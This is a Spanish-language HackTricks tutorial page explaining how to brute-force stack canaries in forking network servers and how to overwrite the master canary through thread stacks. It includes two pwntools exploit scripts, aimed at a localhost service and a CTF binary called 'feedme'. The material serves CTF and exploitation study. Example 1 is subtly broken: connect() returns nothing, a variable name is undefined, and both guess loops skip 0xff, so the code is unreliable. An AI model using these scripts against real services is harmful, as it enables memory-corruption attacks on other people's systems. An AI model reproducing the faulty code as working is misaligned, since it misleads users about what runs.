BF Forked & Threaded Stack Canaries
Reading time: 4 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Si te enfrentas a un binario protegido por un canario y PIE (Ejecutable Independiente de Posición), probablemente necesites encontrar una forma de eludirlos.
note
Ten en cuenta que checksec
podría no encontrar que un binario está protegido por un canario si este fue compilado estáticamente y no es capaz de identificar la función.
Sin embargo, puedes notar esto manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir.
Fuerza bruta del Canario
La mejor manera de eludir un canario simple es si el binario es un programa que crea procesos hijos cada vez que estableces una nueva conexión con él (servicio de red), porque cada vez que te conectas a él se usará el mismo canario.
Entonces, la mejor manera de eludir el canario es simplemente forzarlo de forma bruta carácter por carácter, y puedes averiguar si el byte del canario adivinado fue correcto comprobando si el programa se ha bloqueado o continúa su flujo regular. En este ejemplo, la función fuerza bruta un canario de 8 Bytes (x64) y distingue entre un byte adivinado correctamente y un byte incorrecto simplemente comprobando si se envía una respuesta de vuelta por el servidor (otra forma en otra situación podría ser usando un try/except):
Ejemplo 1
Este ejemplo está implementado para 64 bits, pero podría implementarse fácilmente para 32 bits.
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Ejemplo 2
Esto está implementado para 32 bits, pero esto podría cambiarse fácilmente a 64 bits.
También tenga en cuenta que para este ejemplo el programa esperaba primero un byte para indicar el tamaño de la entrada y la carga útil.
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
Threads
Los hilos del mismo proceso también compartirán el mismo token canario, por lo tanto, será posible forzar un canario si el binario genera un nuevo hilo cada vez que ocurre un ataque.
Además, un desbordamiento de búfer en una función con hilos protegida con canario podría usarse para modificar el canario maestro almacenado en el TLS. Esto se debe a que podría ser posible alcanzar la posición de memoria donde se almacena el TLS (y, por lo tanto, el canario) a través de un bof en la pila de un hilo.
Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canarios que son los mismos (aunque modificados).
Este ataque se realiza en el informe: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
Consulta también la presentación de https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 que menciona que generalmente el TLS se almacena mediante mmap
y cuando se crea una pila de hilo también se genera mediante mmap
, lo que podría permitir el desbordamiento como se mostró en el informe anterior.
Other examples & references
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bits, no PIE, nx, BF canary, escribir en alguna memoria un ROP para llamar a
execve
y saltar allí.